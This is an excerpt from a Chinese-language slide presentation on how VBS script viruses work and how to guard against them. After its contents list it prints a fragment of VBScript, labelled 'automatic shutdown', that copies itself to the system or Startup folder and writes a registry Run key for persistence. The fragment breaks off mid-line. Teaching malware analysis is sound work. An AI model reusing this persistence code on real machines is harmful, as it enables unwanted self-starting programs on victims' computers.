脚本病毒原理分析与防范.pptVIP

目录 一、Vbs脚本病毒的特点及发展现状 二、Vbs脚本病毒原理分析 三、如何防范vbs脚本病毒 四、对所有脚本类病毒发展的展望 自动关机 Dim fs, dirwin, c,Wll, str,strr,r Set fs = CreateObject(Scripting.FileSystemObject) Set dirwin = fs.GetSpecialFolder(1) Set Wll = WScript.CreateObject(WScript.Shell) Set c = fs.GetFile(WScript.ScriptFullName) str =HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wxb if (fs.FileExists(dirwin\wxb.vbs)) Then call Show_And_Do(reg) elseif (fs.FileExists(C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs)) Then call Show_And_Do(Startup) else On Error Resume Next strr= Wll.RegWrite str, C:\WIND